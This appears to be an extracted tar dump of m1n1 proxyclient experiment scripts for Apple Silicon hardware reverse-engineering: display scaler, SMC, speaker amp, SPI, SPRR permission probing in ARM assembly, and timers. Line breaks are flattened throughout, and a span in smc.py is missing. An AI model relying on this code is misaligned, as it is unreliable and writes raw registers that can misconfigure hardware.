scaler.SCALE_FILTER_H_BLOCK0[409].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[204].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[410].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[411].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[205].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[412].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[413].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[206].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[414].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[415].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[207].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[416].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[417].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[208].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[418].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[419].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[209].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[420].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[421].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[210].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[422].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[423].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[211].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[424].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[425].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[212].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[426].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[427].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[213].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[428].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[429].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[214].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[430].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[431].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[215].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[432].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[433].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[216].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[434].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[435].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[217].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[436].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[437].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[218].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[438].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[439].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[219].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[440].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[441].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[220].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[442].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[443].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[221].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[444].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[445].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[222].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[446].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[447].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[223].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[448].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[449].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[224].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[450].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[451].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[225].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[452].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[453].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[226].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[454].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[455].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[227].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[456].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[457].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[228].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[458].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[459].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[229].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[460].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[461].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[230].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[462].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[463].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[231].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[464].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[465].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[232].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[466].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[467].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[233].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[468].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[469].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[234].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[470].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[471].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[235].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[472].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[473].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[236].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[474].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[475].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[237].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[476].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[477].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[238].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[478].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[479].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[239].val = 0x0 # pseudo linear scaling scaler.PSEUDO_LINEAR_SCALING = 0 # reshape p.write32(scaler_base + 0xe8, 0x0) # reset CM 3x p.write32(scaler_base + 0x3800, 0x0) p.write32(scaler_base + 0x3800, 0x0) p.write32(scaler_base + 0x3800, 0x0) # enable prescaler p.write32(scaler_base + 0x824, 0xc) # alpha override p.write32(scaler_base + 0x8c, 0xffff) # dither p.write32(scaler_base + 0xa00, 0x0) # commit convert p.write32(scaler_base + 0x13808, 0x0) p.write32(scaler_base + 0x1380c, 0x0) p.write32(scaler_base + 0x13800, 0x0) p.write32(scaler_base + 0x13804, 0x0) # convert map p.write32(scaler_base + 0x13810, 0x8) p.write32(scaler_base + 0x13814, 0x8) p.write32(scaler_base + 0x13818, 0x8) p.write32(scaler_base + 0x1381c, 0x8) p.write32(scaler_base + 0x13804, 0x0) p.write32(scaler_base + 0x13c04, 0x0) p.write32(scaler_base + 0x13c10, 0x8) p.write32(scaler_base + 0x13c14, 0x8) p.write32(scaler_base + 0x13c18, 0x8) p.write32(scaler_base + 0x13c1c, 0x8) # commit revert p.write32(scaler_base + 0x13c00, 0x1) # (don't) program histogram p.write32(scaler_base + 0x3000, 0x0) p.write32(scaler_base + 0x124, 0x0) # tag transform registers p.write32(scaler_base + 0x110, 0x1) # start p.write32(scaler_base + 0x98, 0xfffffffe) scaler.START = 1 start_time = time.time() while scaler.MSR_GLBL_IRQSTS.reg.DONE == 0: if time.time() - start_time > 5: print("TIMED OUT!!!") break print(f"IRQ status is now {scaler.MSR_GLBL_IRQSTS}") print(f"Debug status is now {scaler.MSR_CTRL_DBGSTS}") out_buf_new = iface.readmem(out_buf_phys, out_SZ) chexdump(out_buf_new) with Image.new(mode='RGBA', size=(out_W, out_H)) as im: for y in range(out_H): for x in range(out_W): block = out_buf_new[ y*out_STRIDE + x*out_BYTESPP: y*out_STRIDE + (x+1)*out_BYTESPP] r, g, b, a = block im.putpixel((x, y), (r, g, b, a)) im.save(output_image_fn) m1n1-1.4.11/proxyclient/experiments/smc.py000077500000000000000000000022341453754430200204440ustar00rootroot00000000000000#!/usr/bin/env python3 # SPDX-License-Identifier: MIT import sys, pathlib import time sys.path.append(str(pathlib.Path(__file__).resolve().parents[1])) import struct from m1n1.setup import * from m1n1.fw.smc import SMCClient, SMCError smc_addr = u.adt["arm-io/smc"].get_reg(0)[0] smc = SMCClient(u, smc_addr) smc.start() smc.start_ep(0x20) smc.verbose = 0 smcep = smc.epmap[0x20] def gpio_key(pin): assert(pin < (1 << 16)) fourcc = 'gP' + ('00'+(hex(pin)[2:]))[-2:] return fourcc ## Enable wifi/bluetooth #RFKILL_PIN = 13 #smcep.write(gpio_key(RFKILL_PIN), struct.pack('") else: print(f"#{i}: {k} = ({type}, {flags:#x}) ") smc.stop() m1n1-1.4.11/proxyclient/experiments/smc_watcher.py000077500000000000000000000056321453754430200221660ustar00rootroot00000000000000#!/usr/bin/env python3 # SPDX-License-Identifier: MIT import sys, pathlib, fnmatch, signal import time sys.path.append(str(pathlib.Path(__file__).resolve().parents[1])) import struct from m1n1.setup import * from m1n1.shell import run_shell from m1n1.fw.smc import SMCClient, SMCError smc_addr = u.adt["arm-io/smc"].get_reg(0)[0] smc = SMCClient(u, smc_addr) smc.start() smc.start_ep(0x20) smc.verbose = 0 smcep = smc.epmap[0x20] count = smcep.read32b("#KEY") print(f"Key count: {count}") print("Scanning keys...") pats = sys.argv[1:] vals = {} fmts = { "D?CR": "#x", "AC-I": "#x", "D?FC": "#x", "D?VM": lambda v: (v>>8) | ((v&0xff)<<8), "D?VX": lambda v: (v>>8) | ((v&0xff)<<8), "B0RM": lambda v: (v>>8) | ((v&0xff)<<8), ##"BAAC": lambda v: ((v&0xff00)>>8) | ((v&0xff)<<8), } smcep.write8("NTAP", 1) for i in range(count): k = smcep.get_key_by_index(i) if not any(fnmatch.fnmatchcase(k, i) for i in pats): continue if any(fnmatch.fnmatchcase('-' + k, i) for i in pats): continue length, type, flags = smcep.get_key_info(k) if type in ("ch8*", "{jst"): continue if flags & 0x80: try: val = smcep.read_type(k, length, type) fmt = None for fk, fv in fmts.items(): if fnmatch.fnmatchcase(k, fk): fmt = fv if fmt is None: fmt = lambda a: ("%.02f" % a) if isinstance(a, float) else a elif isinstance(fmt, str): def ff(fmt): return lambda a: f"{a:{fmt}}" fmt = ff(fmt) vals[k] = val, length, type, fmt print(f"#{i}: {k} = ({type}, {flags:#x}) {fmt(val)}") except SMCError as e: print(f"#{i}: {k} = ({type}, {flags:#x}) ") else: print(f"#{i}: {k} = ({type}, {flags:#x}) ") slots = {} def poll(): global cnt reprint = cnt % 10 == 0 changed = set() for k, (oval, length, type, fmt) in vals.items(): val = smcep.read_type(k, length, type) if val != oval: if k not in slots: reprint = True slots[k] = fmt(val) changed.add(k) vals[k] = val, length, type, fmt if reprint: print("\x1b[1;4m", end="") for k, v in slots.items(): wd = len(f"{v:>8}") print(f"{k:>{wd}s}", end=" ") print("\x1b[m") for k, v in slots.items(): if k in changed: print("\x1b[32m", end="") print(f"{v:>8}\x1b[m", end=" ") print() cnt += 1 time.sleep(1) def handle_sigint(signal=None, stack=None): global doshell doshell = True signal.signal(signal.SIGINT, handle_sigint) doshell = False try: cnt = 0 while True: poll() if doshell: run_shell(globals(), msg="Interrupted") doshell = False finally: smc.stop() m1n1-1.4.11/proxyclient/experiments/speaker_amp.py000077500000000000000000000101571453754430200221540ustar00rootroot00000000000000#!/usr/bin/env python3 # SPDX-License-Identifier: MIT import sys, pathlib import time sys.path.append(str(pathlib.Path(__file__).resolve().parents[1])) # speaker_amp.py -- play audio through the embedded speaker on Mac mini # # sample usage with sox: # # sox INPUT_FILE -t raw -r 48000 -c 1 -e signed-int -b 32 -L - gain -63 | python3 ./speaker_amp.py # # (expects mono, 24-bit signed samples padded to 32 bits on the msb side) import argparse from m1n1.setup import * from m1n1.hw.dart import DART, DARTRegs from m1n1.hw.i2c import I2C from m1n1.hw.pmgr import PMGR from m1n1.hw.nco import NCO from m1n1.hw.admac import * from m1n1.hw.mca import * argparser = argparse.ArgumentParser() argparser.add_argument("-f", "--file", "--input", "--samples", type=str, default=None, help='input filename to take samples from ' \ '(default: standard input)') argparser.add_argument("-b", "--bufsize", type=int, default=1024*32, help='size of buffers to keep submitting to DMA') args = argparser.parse_args() inputf = open(args.file, "rb") if args.file is not None \ else sys.stdin.buffer p.pmgr_adt_clocks_enable("/arm-io/i2c1") p.pmgr_adt_clocks_enable("/arm-io/admac-sio") p.pmgr_adt_clocks_enable("/arm-io/dart-sio") p.pmgr_adt_clocks_enable("/arm-io/mca-switch") # reset AUDIO_P PS_AUDIO_P = PMGR(u).regs[0].PS4[5] PS_AUDIO_P.set(DEV_DISABLE=1) PS_AUDIO_P.set(RESET=1) PS_AUDIO_P.set(RESET=0) PS_AUDIO_P.set(DEV_DISABLE=0) i2c1 = I2C(u, "/arm-io/i2c1") dart_base, _ = u.adt["/arm-io/dart-sio"].get_reg(0) # stream index 2 dart = DART(iface, DARTRegs(u, dart_base), util=u) dart.initialize() cl_no = 0 admac = ADMAC(u, "/arm-io/admac-sio", dart, debug=True) tx_chan = admac.chans[4*cl_no] tx_chan.disable() tx_chan.reset() tx_chan.read_reports() # read stale reports tx_chan.buswidth = E_BUSWIDTH.W_32BIT tx_chan.framesize = E_FRAME.F_1_WORD nco = NCO(u, "/arm-io/nco") nco[cl_no].set_rate(48000 * 256) nco[cl_no].enable() mca_switch1_base = u.adt["/arm-io/mca-switch"].get_reg(1)[0] mca_cl_base = u.adt["/arm-io/mca-switch"].get_reg(0)[0] + 0x4000*cl_no cl = MCACluster(u, mca_cl_base) regs, serdes = cl.regs, cl.txa regs.SYNCGEN_STATUS.set(RST=1, EN=0) regs.SYNCGEN_STATUS.set(RST=0) regs.SYNCGEN_MCLK_SEL.val =(1 + cl_no) regs.SYNCGEN_HI_PERIOD.val = 0 regs.SYNCGEN_LO_PERIOD.val = 0xfe # full period minus two serdes.STATUS.set(EN=0) serdes.CONF.set( NSLOTS=0, SLOT_WIDTH=E_SLOT_WIDTH.W_32BIT, BCLK_POL=1, UNK1=1, UNK2=1, IDLE_UNDRIVEN=1, SYNC_SEL=(1 + cl_no) ) serdes.BITDELAY.val = 0 serdes.CHANMASK[0].val = 0xffff_fffe serdes.CHANMASK[1].val = 0xffff_fffe regs.PORT_ENABLES.set(CLOCK1=1, CLOCK2=1, DATA=1) regs.PORT_CLK_SEL.set(SEL=(cl_no + 1)) regs.PORT_DATA_SEL.val = cl_no + 1 regs.MCLK_STATUS.set(EN=1) regs.SYNCGEN_STATUS.set(EN=1) p.write32(mca_switch1_base + 0x8000*cl_no, 0x102048) # toggle the GPIO line driving the speaker-amp IC reset p.write32(0x23c1002d4, 0x76a02) # invoke reset p.write32(0x23c1002d4, 0x76a03) # take out of reset tx_chan.submit(inputf.read(args.bufsize)) tx_chan.enable() while tx_chan.can_submit(): tx_chan.submit(inputf.read(args.bufsize)) serdes.STATUS.set(EN=1) # by ADT and leaked schematic, i2c1 contains TAS5770L, # which is not a public part. but there's e.g. TAS2770 # with similar registers # # https://www.ti.com/product/TAS2770 # # if the speaker-amp IC loses clock on the serial sample input, # it automatically switches to software shutdown. # i2c1.write_reg(0x31, 0x08, [0x40]) i2c1.write_reg(0x31, 0x0a, [0x06, 0x00, 0x1a]) i2c1.write_reg(0x31, 0x1b, [0x01, 0x82, 0x06]) i2c1.write_reg(0x31, 0x16, [0x50, 0x04]) i2c1.write_reg(0x31, 0x0d, [0x00]) #i2c1.write_reg(0x31, 0x03, [0x14]) # amplifier gain, presumably this is the lowest setting i2c1.write_reg(0x31, 0x03, [0x0]) # take the IC out of software shutdown i2c1.write_reg(0x31, 0x02, [0x0c]) while (buf := inputf.read(args.bufsize)): while not tx_chan.can_submit(): tx_chan.poll() tx_chan.submit(buf) # mute i2c1.write_reg(0x31, 0x02, [0x0d]) # software shutdown i2c1.write_reg(0x31, 0x02, [0x0e]) tx_chan.disable() m1n1-1.4.11/proxyclient/experiments/spi.py000066400000000000000000000054601453754430200204560ustar00rootroot00000000000000import sys, pathlib sys.path.append(str(pathlib.Path(__file__).resolve().parents[1])) from m1n1.setup import * from m1n1 import asm from m1n1.shell import run_shell from m1n1.gpiola import GPIOLogicAnalyzer from m1n1.hw.spi import * p.smp_start_secondaries() spi = u.adt["arm-io/spi2"].get_reg(0)[0] + 0x8000 regs = SPIRegs(u, spi) aic = u.adt["arm-io/aic"].get_reg(0)[0] gpio = u.adt["arm-io/gpio0"].get_reg(0)[0] count = u.adt["arm-io/gpio0"].getprop("#gpio-pins") pins={} for i in range(150, 150+32): pins[f"pin{i}"] = i m = GPIOLogicAnalyzer(u, "arm-io/gpio0", pins=pins, regs={"a": gpio}, div=1, cpu=1, on_pin_change=True, on_reg_change=False) regs.CTRL.val = 0xc regs.PIN.val = 0x2 regs.CFG.val = 0x20 | (1<<15) | 6 regs.CFG.val = 0x20 | (1<<15) | 4 regs.CFG.val = 0x20 | (1<<15) | 2 regs.CFG.val = 0x20 | (3<<15) | 0 m.regs = {} m.start(30000000, bufsize=0x80000) regs.STATUS.val = 0xffffffff regs.IF_XFER.val = 0xffffffff regs.IF_FIFO.val = 0xffffffff regs.CLKDIV.val = 0xfff regs.INTER_DELAY.val = 0x1000 regs.SHIFTCFG.val = 0x21fcf7 regs.PIN.val = 0x2 print("pinconfig", hex(regs.PINCFG.val)) regs.PINCFG.val = 0x100 #regs.PINCONFIG.val = 0x2-7 print("pinconfig", hex(regs.PINCFG.val)) print("shiftconfig", hex(regs.SHIFTCFG.val)) p.write32(spi + 0x3c, 0xffffffff) regs.PINCFG.val = 0x002 regs.PINCFG.val = 0x200 #p.write32(0x28e0380bc, 0x80100000) #p.write32(0x28e0380c4, 0x80100000) data = b"\xff\xff\xff\xff\x00\x00\xff\xff" for i in range(2): for j in data: regs.TXDATA.val = j | 0xffffff00 regs.RXCNT.val = len(data) regs.TXCNT.val = len(data) regs.STATUS.val = 0xffffffff regs.IF_XFER.val = 0xffffffff regs.IF_FIFO.val = 0xffffffff regs.PIN.val = 0x0 regs.CTRL.val = 0x1 #regs.TXDATA.val = 0xff #regs.TXDATA.val = 0xff i = 0 while regs.TXCNT.val != 0: print(f"{regs.TXCNT.val:#x} {regs.FIFOSTAT.reg} {regs.STATUS.val:#x} {regs.IF_FIFO.val:#x} {p.read32(spi + 0x134):#x}") regs.STATUS.val = 0xffffffff regs.IF_XFER.val = 0xffffffff regs.IF_FIFO.val = 0xffffffff #regs.CTRL.val = 0x0 #time.sleep(0.1) #regs.CTRL.val = 0x1[ print(hex(i)) #p.write32(spi + i, 0xffffffff) #p.write32(spi + i, 0) i += 4 if i > 0x100: break time.sleep(0.001) print(f"{regs.RXCNT.val:#x} {regs.FIFOSTAT.reg} {regs.STATUS.val:#x} {regs.IF_FIFO.val:#x}") regs.STATUS.val = 0xffffffff regs.IF_XFER.val = 0xffffffff regs.IF_FIFO.val = 0xffffffff mon.poll() while regs.FIFOSTAT.reg.LEVEL_RX: print("RX", hex(regs.RXDATA.val)) regs.CTRL.val = 0 m.complete() m.show() #run_shell(globals(), msg="Have fun!") m1n1-1.4.11/proxyclient/experiments/sprr_test_permissions.py000077500000000000000000000255321453754430200243500ustar00rootroot00000000000000#!/usr/bin/env python3 # SPDX-License-Identifier: MIT import sys, pathlib sys.path.append(str(pathlib.Path(__file__).resolve().parents[1])) from contextlib import contextmanager from m1n1.setup import * from m1n1.find_regs import * from m1n1 import asm p.smp_start_secondaries() class ARMPageTable: PAGESIZE = 0x4000 def __init__(self, memalign, free): self.memalign = memalign self.free = free self.l0 = self.memalign(self.PAGESIZE, self.PAGESIZE) self.l1 = [self.memalign(self.PAGESIZE, self.PAGESIZE), self.memalign( self.PAGESIZE, self.PAGESIZE)] self.l2 = {} p.write64(self.l0, self.make_table_pte(self.l1[0])) p.write64(self.l0+8, self.make_table_pte(self.l1[1])) def make_table_pte(self, addr): # table mapping, access bit set return addr | 0b11 | (1 << 10) def map_page(self, vaddr, paddr, access_bits): ap = (access_bits & 0b1100) >> 2 pxn = (access_bits & 0b0010) >> 1 uxn = (access_bits & 0b0001) # block mapping, access bit set pte = paddr | 0b01 | (1 << 10) # move access bits in place pte |= ap << 6 pte |= pxn << 54 pte |= uxn << 53 l0_idx = (vaddr >> (25+11+11)) & 1 l1_idx = (vaddr >> (25+11)) & 0x7ff l2_idx = (vaddr >> 25) & 0x7ff tbl = self.l2.get((l0_idx, l1_idx), None) if not tbl: tbl = self.memalign(self.PAGESIZE, self.PAGESIZE) self.l2[(l0_idx, l1_idx)] = tbl p.write64(self.l1[l0_idx] + 8*l1_idx, self.make_table_pte(tbl)) p.write64(tbl + 8*l2_idx, pte) def map(self, vaddr, paddr, sz, access_bits): assert sz % 0x2000000 == 0 assert vaddr % 0x2000000 == 0 assert paddr % 0x2000000 == 0 assert access_bits <= 0b1111 while sz > 0: self.map_page(vaddr, paddr, access_bits) sz -= 0x2000000 vaddr += 0x2000000 paddr += 0x2000000 def build_and_write_code(heap, code): page = heap.memalign(0x4000, 0x4000) compiled = asm.ARMAsm(code, page).data iface.writemem(page, compiled) p.dc_cvau(page, len(compiled)) p.ic_ivau(page, len(compiled)) return page def setup_exception_vectors(heap, gxf=False): if gxf: elr = "S3_6_C15_C10_6" eret = ".long 0x201400" indicator = 0xf2 else: elr = "ELR_EL1" eret = "eret" indicator = 0xf0 return build_and_write_code(heap, """ .rept 16 b 1f .align 7 .endr 1: // store that we failed mov x10, 0x{indicator:x} // move PC two instruction further and clear 0xf0 0000 0000 to // make sure we end up in the r-x mapping either way and don't // repeat the instruction that just faulted // we skip the second instruction since that one is used to // indicate success ldr x11, =0x0fffffffff mrs x12, {elr} add x12, x12, #8 and x12, x12, x11 msr {elr}, x12 isb {eret} """.format(eret=eret, elr=elr, indicator=indicator)) print("Setting up..") pagetable = ARMPageTable(u.memalign, u.free) pagetable.map(0x800000000, 0x800000000, 0xc00000000, 0) pagetable.map(0xf800000000, 0x800000000, 0xc00000000, 1) el2_vectors = setup_exception_vectors(u.heap, gxf=False) gl2_vectors = setup_exception_vectors(u.heap, gxf=True) probe_page = build_and_write_code(u.heap, "mov x10, 0x80\nret\nret\nret\n") probe_page_vaddr = probe_page | 0xf000000000 code_page = build_and_write_code(u.heap, """ #define SPRR_PERM_EL0 S3_6_C15_C1_5 #define SPRR_PERM_EL1 S3_6_C15_C1_6 #define SPRR_PERM_EL2 S3_6_C15_C1_7 #define GXF_CONFIG_EL2 s3_6_c15_c1_2 #define GXF_ENTER_EL2 s3_6_c15_c8_1 #define GXF_ABORT_EL2 s3_6_c15_c8_2 #define MPIDR_GL2 S3_6_C15_C10_1 #define VBAR_GL2 S3_6_C15_C10_2 #define SPSR_GL2 S3_6_C15_C10_3 #define ELR_GL2 S3_6_C15_C10_6 #define FAR_GL2 S3_6_C15_C10_7 #define genter .long 0x00201420 #define gexit .long 0x201400 // just store everything since i'm too lazy to think about // register assignments str x30, [sp, #-16]! stp x28, x29, [sp, #-16]! stp x26, x27, [sp, #-16]! stp x24, x25, [sp, #-16]! stp x22, x23, [sp, #-16]! stp x20, x21, [sp, #-16]! stp x18, x19, [sp, #-16]! stp x16, x17, [sp, #-16]! stp x14, x15, [sp, #-16]! stp x12, x13, [sp, #-16]! stp x10, x11, [sp, #-16]! stp x8, x9, [sp, #-16]! stp x6, x7, [sp, #-16]! stp x4, x5, [sp, #-16]! stp x2, x3, [sp, #-16]! stp x0, x1, [sp, #-16]! mov x20, x0 // store SPRR value for later mov x21, 0 // clear result // setup exception vectors ldr x0, =0x{vectors:x} msr VBAR_EL2, x0 isb // prepare MMU ldr x0, =0x0400ff msr MAIR_EL1, x0 ldr x0, =0x27510b510 msr TCR_EL1, x0 ldr x0, =0x{ttbr:x} msr TTBR0_EL2, x0 // enable SPPR mov x0, 1 msr s3_6_c15_c1_0, x0 msr s3_6_c15_c1_3, xzr isb // clear all SPPR registers // (note that reads from/writes to EL1 will be redirected to EL2 anyway) ldr x0, =0 msr SPRR_PERM_EL0, x0 msr SPRR_PERM_EL1, x0 msr SPRR_PERM_EL2, x0 msr s3_6_c15_c1_3, x0 // setup SPPR_EL2 msr SPRR_PERM_EL2, x20 isb dsb ishst tlbi vmalle1is dsb ish isb msr s3_6_c15_c1_3, xzr isb // enable MMU ldr x1, =0x1005 mrs x0, SCTLR_EL1 mov x3, x0 orr x0, x0, x1 msr SCTLR_EL1, x0 isb // configure and enable GXF mov x0, 1 msr GXF_CONFIG_EL2, x0 isb ldr x0, =gxf_entry msr GXF_ENTER_EL2, x0 ldr x0, =gxf_abort msr GXF_ABORT_EL2, x0 isb // test GXF access genter // test execute access ldr x1, =0x{probe_page:x} mov x10, 0 blr x1 lsl x21, x21, #8 orr x21, x21, x10 // test read access ldr x1, =0x{probe_page:x} mov x10, 0 ldr x1, [x1] mov x10, 0x80 lsl x21, x21, #8 orr x21, x21, x10 // test write access ldr x1, =0x{probe_page:x} add x1, x1, 0x20 mov x10, 0 str x1, [x1] mov x10, 0x80 lsl x21, x21, #8 orr x21, x21, x10 // disable MMU again dsb ish isb msr SCTLR_EL1, x3 isb mov x0, 0 msr GXF_CONFIG_EL2, x0 msr s3_6_c15_c1_0, x0 mov x0, x21 // restore everything except for x0 add sp, sp, #8 ldr x1, [sp], #8 ldp x2, x3, [sp], #16 ldp x4, x5, [sp], #16 ldp x6, x7, [sp], #16 ldp x8, x9, [sp], #16 ldp x10, x11, [sp], #16 ldp x12, x13, [sp], #16 ldp x14, x15, [sp], #16 ldp x16, x17, [sp], #16 ldp x18, x19, [sp], #16 ldp x20, x21, [sp], #16 ldp x22, x23, [sp], #16 ldp x24, x25, [sp], #16 ldp x26, x27, [sp], #16 ldp x28, x29, [sp], #16 ldr x30, [sp], #16 ret gxf_entry: // setup GL exception vectors ldr x0, =0x{gxf_vectors:x} msr VBAR_GL2, x0 isb // we might double fault -> store state here mrs x14, S3_6_C15_C10_3 mrs x15, S3_6_C15_C10_4 mrs x16, S3_6_C15_C10_5 mrs x17, ELR_GL2 mrs x18, FAR_GL2 // test execute access ldr x1, =0x{probe_page:x} mov x10, 0 blr x1 lsl x21, x21, #8 orr x21, x21, x10 // test read access ldr x1, =0x{probe_page:x} mov x10, 0 ldr x1, [x1] mov x10, 0x80 lsl x21, x21, #8 orr x21, x21, x10 // test write access ldr x1, =0x{probe_page:x} add x1, x1, #0x20 mov x10, 0 str x1, [x1] mov x10, 0x80 lsl x21, x21, #8 orr x21, x21, x10 // restore state in case we faulted in here msr S3_6_C15_C10_3, x14 msr S3_6_C15_C10_4, x15 msr S3_6_C15_C10_5, x16 msr ELR_GL2, x17 msr FAR_GL2, x18 isb gexit gxf_abort: // store that we failed mov x10, 0xf1 // move PC two instruction further and clear 0xf0 0000 0000 to // make sure we end up in the r-x mapping either way and don't // repeat the instruction that just faulted // we skip the second instruction since that one is used to // indicate success ldr x11, =0x0fffffffff mrs x12, ELR_GL2 add x12, x12, #8 and x12, x12, x11 msr ELR_GL2, x12 isb gexit """.format(ttbr=pagetable.l0, vectors=el2_vectors, probe_page=probe_page_vaddr, gxf_vectors=gl2_vectors)) print("Running code now...") for i in range(0x10): sprr_val = 0x5 | ((i & 0xf) << 4) ret = p.smp_call_sync(1, code_page, sprr_val) glret = ret >> 24 glx = 'x' if (glret >> 16) & 0xff == 0x80 else '-' glr = 'r' if (glret >> 8) & 0xff == 0x80 else '-' glw = 'w' if glret & 0xff == 0x80 else '-' x = 'x' if (ret >> 16) & 0xff == 0x80 else '-' r = 'r' if (ret >> 8) & 0xff == 0x80 else '-' w = 'w' if ret & 0xff == 0x80 else '-' print("SPRR: {0:04b} result: {1:x} GL: {2}{3}{4} EL: {5}{6}{7}".format( i, ret, glr, glw, glx, r, w, x)) m1n1-1.4.11/proxyclient/experiments/timer_test.py000077500000000000000000000052361453754430200220460ustar00rootroot00000000000000#!/usr/bin/env python3 # SPDX-License-Identifier: MIT import sys, pathlib sys.path.append(str(pathlib.Path(__file__).resolve().parents[1])) from m1n1.setup import * HV_VTMR_CTL = (3, 5, 15, 1, 3) HV_VTMR_CTL_VMASK = (1 << 0) HV_VTMR_CTL_PMASK = (1 << 1) HV_VTMR_LIST = (3, 5, 15, 1, 2) TGE = (1<<27) u.msr(CNTHCTL_EL2, 3 << 10) # EL1PTEN | EL1PCTEN def run_test(ctl, tval): u.inst(0xd5033fdf) # isb u.msr(ctl, 0) u.msr(tval, int(freq * 0.8)) u.msr(ctl, 1) for i in range(6): p.nop() time.sleep(0.2) #u.inst(0xd5033fdf, call=p.el1_call) print(" . (ISR_EL1=%d) CTL=%x VTMR_LIST=%x" % (u.mrs(ISR_EL1), u.mrs(ctl), u.mrs(HV_VTMR_LIST))) u.msr(ctl, 0) def test_hv_timers(): u.msr(DAIF, 0x3c0) print("Testing HV timers...") print(" TGE = 1") u.msr(HCR_EL2, u.mrs(HCR_EL2) | TGE | (1 << 